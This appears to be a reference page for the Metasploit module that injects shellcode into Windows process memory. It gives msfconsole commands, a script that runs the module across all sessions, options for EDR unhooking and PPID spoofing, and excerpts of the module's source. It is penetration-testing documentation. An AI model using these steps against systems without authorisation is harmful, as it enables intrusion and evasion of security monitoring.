Windows Manage Memory Shellcode Injection Module - Metasploit
This page contains detailed information about how to use the post/windows/manage/shellcode_inject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Manage Memory Shellcode Injection Module
Module: post/windows/manage/shellcode_inject
Source code: modules/post/windows/manage/shellcode_inject.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will inject into the memory of a process a specified shellcode.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/manage/shellcode_inject
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/manage/shellcode_inject
msf post(shellcode_inject) > show options
... show and set options ...
msf post(shellcode_inject) > set SESSION session-id
msf post(shellcode_inject) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/manage/shellcode_inject")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
SESSION: The session to run this module on.
SHELLCODE: Path to the shellcode to execute
Go back to menu.
Msfconsole Usage
Here is how the windows/manage/shellcode_inject post exploitation module looks in the msfconsole:
msf6 > use post/windows/manage/shellcode_inject
msf6 post(windows/manage/shellcode_inject) > show info
Name: Windows Manage Memory Shellcode Injection Module
Module: post/windows/manage/shellcode_inject
Platform: Windows
Arch:
Rank: Normal
Provided by:
phra <https://iwantmore.pizza>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false yes Auto remove EDRs hooks
BITS 64 yes Set architecture bits (Accepted: 32, 64)
CHANNELIZED false yes Retrieve output of the process
HIDDEN true yes Spawn an hidden process
INTERACTIVE false yes Interact with the process
PID 0 no Process Identifier of process to inject the shellcode. (0 = new process)
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
SESSION yes The session to run this module on.
SHELLCODE yes Path to the shellcode to execute
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed
Description:
This module will inject into the memory of a process a specified
shellcode.
Module Options
This is a complete list of options available in the windows/manage/shellcode_inject post exploitation module:
msf6 post(windows/manage/shellcode_inject) > show options
Module options (post/windows/manage/shellcode_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false yes Auto remove EDRs hooks
BITS 64 yes Set architecture bits (Accepted: 32, 64)
CHANNELIZED false yes Retrieve output of the process
HIDDEN true yes Spawn an hidden process
INTERACTIVE false yes Interact with the process
PID 0 no Process Identifier of process to inject the shellcode. (0 = new process)
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
SESSION yes The session to run this module on.
SHELLCODE yes Path to the shellcode to execute
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed
Advanced Options
Here is a complete list of advanced options supported by the windows/manage/shellcode_inject post exploitation module:
msf6 post(windows/manage/shellcode_inject) > show advanced
Module advanced options (post/windows/manage/shellcode_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/manage/shellcode_inject module can do:
msf6 post(windows/manage/shellcode_inject) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/manage/shellcode_inject post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/manage/shellcode_inject) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Running module against <COMPUTER>
- Cannot inject a 64-bit payload into any process on a 32-bit OS
- PID and PPID are mutually exclusive
- Process <PPID> was not found
- It's not possible to retrieve output when injecting existing processes!
- It's not possible to retrieve output when using PPID spoofing!
- Process <PID> was not found
- Failed to open pid <PID.TO_I>
- You are trying to inject to a x64 process from a x86 version of Meterpreter.
- Migrate to an x64 process and try again.
- Unknown target arch; unable to assign unhook dll
- Failed to inject Payload to <PROC.PID>!
- Arch mismatch between shellcode and process!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Running module against <COMPUTER>
Here is a relevant code snippet related to the "Running module against <COMPUTER>" error message:
38: end
39:
40: # Run Method for when run command is issued
41: def run
42: # syinfo is only on meterpreter sessions
43: print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
44:
45: # Set variables
46: shellcode = IO.read(datastore['SHELLCODE'])
47: pid = datastore['PID']
48: ppid = datastore['PPID']
Cannot inject a 64-bit payload into any process on a 32-bit OS
Here is a relevant code snippet related to the "Cannot inject a 64-bit payload into any process on a 32-bit OS" error message:
54: bits = ARCH_X86
55: end
56:
57: # prelim check
58: if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
59: fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
60: end
61:
62: if datastore['PPID'] != 0 and datastore['PID'] != 0
63: print_error("PID and PPID are mutually exclusive")
64: return false
PID and PPID are mutually exclusive
Here is a relevant code snippet related to the "PID and PPID are mutually exclusive" error message:
58: if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
59: fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
60: end
61:
62: if datastore['PPID'] != 0 and datastore['PID'] != 0
63: print_error("PID and PPID are mutually exclusive")
64: return false
65: end
66:
67: # Start Notepad if Required
68: if pid == 0
Process <PPID> was not found
Here is a relevant code snippet related to the "Process <PPID> was not found" error message:
65: end
66:
67: # Start Notepad if Required
68: if pid == 0
69: if ppid != 0 and not has_pid?(ppid)
70: print_error("Process #{ppid} was not found")
71: return false
72: elsif ppid != 0
73: print_status("Spoofing PPID #{ppid}")
74: end
75:
It's not possible to retrieve output when injecting existing processes!
Here is a relevant code snippet related to the "It's not possible to retrieve output when injecting existing processes!" error message:
82: 'ParentPid' => datastore['PPID']
83: })
84: print_status("Spawned Notepad process #{proc.pid}")
85: else
86: if datastore['CHANNELIZED'] && datastore['PID'] != 0
87: fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
88: elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0
89: fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")
90: end
91: unless has_pid?(pid)
92: print_error("Process #{pid} was not found")
It's not possible to retrieve output when using PPID spoofing!
Here is a relevant code snippet related to the "It's not possible to retrieve output when using PPID spoofing!" error message:
84: print_status("Spawned Notepad process #{proc.pid}")
85: else
86: if datastore['CHANNELIZED'] && datastore['PID'] != 0
87: fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
88: elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0
89: fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")
90: end
91: unless has_pid?(pid)
92: print_error("Process #{pid} was not found")
93: return false
94: end
Process <PID> was not found
Here is a relevant code snippet related to the "Process <PID> was not found" error message:
87: fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
88: elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0
89: fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")
90: end
91: unless has_pid?(pid)
92: print_error("Process #{pid} was not found")
93: return false
94: end
95: begin
96: proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
97: rescue Rex::Post::Meterpreter::RequestError => e
Failed to open pid <PID.TO_I>
Here is a relevant code snippet related to the "Failed to open pid <PID.TO_I>" error message:
94: end
95: begin
96: proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
97: rescue Rex::Post::Meterpreter::RequestError => e
98: print_error(e.to_s)
99: fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")
100: end
101: print_status("Opening existing process #{proc.pid}")
102: end
103:
104: # Check
You are trying to inject to a x64 process from a x86 version of Meterpreter.
Here is a relevant code snippet related to the "You are trying to inject to a x64 process from a x86 version of Meterpreter." error message:
101: print_status("Opening existing process #{proc.pid}")
102: end
103:
104: # Check
105: if bits == ARCH_X64 and client.arch == ARCH_X86
106: print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
107: print_error("Migrate to an x64 process and try again.")
108: return false
109: end
110: if arch_check(bits, proc.pid)
111: if datastore['AUTOUNHOOK']
Migrate to an x64 process and try again.
Here is a relevant code snippet related to the "Migrate to an x64 process and try again." error message:
102: end
103:
104: # Check
105: if bits == ARCH_X64 and client.arch == ARCH_X86
106: print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
107: print_error("Migrate to an x64 process and try again.")
108: return false
109: end
110: if arch_check(bits, proc.pid)
111: if datastore['AUTOUNHOOK']
112: print_status("Executing unhook")
Unknown target arch; unable to assign unhook dll
Here is a relevant code snippet related to the "Unknown target arch; unable to assign unhook dll" error message:
110: if arch_check(bits, proc.pid)
111: if datastore['AUTOUNHOOK']
112: print_status("Executing unhook")
113: print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
114: unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])
115: fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
116: end
117: end
118: begin
119: inject(shellcode, proc)
120: rescue ::Exception => e
Failed to inject Payload to <PROC.PID>!
Here is a relevant code snippet related to the "Failed to inject Payload to <PROC.PID>!" error message:
116: end
117: end
118: begin
119: inject(shellcode, proc)
120: rescue ::Exception => e
121: print_error("Failed to inject Payload to #{proc.pid}!")
122: print_error(e.to_s)
123: end
124: else
125: fail_with(Failure::BadConfig, "Arch mismatch between shellcode and process!")
126: end
Arch mismatch between shellcode and process!
Here is a relevant code snippet related to the "Arch mismatch between shellcode and process!" error message:
120: rescue ::Exception => e
121: print_error("Failed to inject Payload to #{proc.pid}!")
122: print_error(e.to_s)
123: end
124: else
125: fail_with(Failure::BadConfig, "Arch mismatch between shellcode and process!")
126: end
127: end
128:
129: def inject(shellcode, proc)
130: mem = inject_into_process(proc, shellcode)
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #12736 Merged Pull Request: Add support for PPID spoofing
- #12391 Merged Pull Request: Add shellcode_inject post module
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/manage/add_user
- post/windows/manage/archmigrate
- post/windows/manage/change_password
- post/windows/manage/clone_proxy_settings
- post/windows/manage/delete_user
- post/windows/manage/dell_memory_protect
- post/windows/manage/download_exec
- post/windows/manage/driver_loader
- post/windows/manage/enable_rdp
- post/windows/manage/enable_support_account
- post/windows/manage/exec_powershell
- post/windows/manage/execute_dotnet_assembly
- post/windows/manage/forward_pageant
- post/windows/manage/hashcarve
- post/windows/manage/ie_proxypac
- post/windows/manage/inject_ca
- post/windows/manage/inject_host
- post/windows/manage/install_python
- post/windows/manage/install_ssh
- post/windows/manage/killav
- post/windows/manage/migrate
- post/windows/manage/mssql_local_auth_bypass
- post/windows/manage/multi_meterpreter_inject
- post/windows/manage/nbd_server
- post/windows/manage/peinjector
- post/windows/manage/persistence_exe
- post/windows/manage/portproxy
- post/windows/manage/pptp_tunnel
- post/windows/manage/priv_migrate
- post/windows/manage/pxeexploit
- post/windows/manage/reflective_dll_inject
- post/windows/manage/remove_ca
- post/windows/manage/remove_host
- post/windows/manage/rid_hijack
- post/windows/manage/rollback_defender_signatures
- post/windows/manage/rpcapd_start
- post/windows/manage/run_as
- post/windows/manage/run_as_psh
- post/windows/manage/sdel
- post/windows/manage/sshkey_persistence
- post/windows/manage/sticky_keys
- post/windows/manage/vmdk_mount
- post/windows/manage/vss
- post/windows/manage/vss_create
- post/windows/manage/vss_list
- post/windows/manage/vss_mount
- post/windows/manage/vss_set_storage
- post/windows/manage/vss_storage
- post/windows/manage/wdigest_caching
- post/windows/manage/webcam
Authors
- phra <https://iwantmore.pizza>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.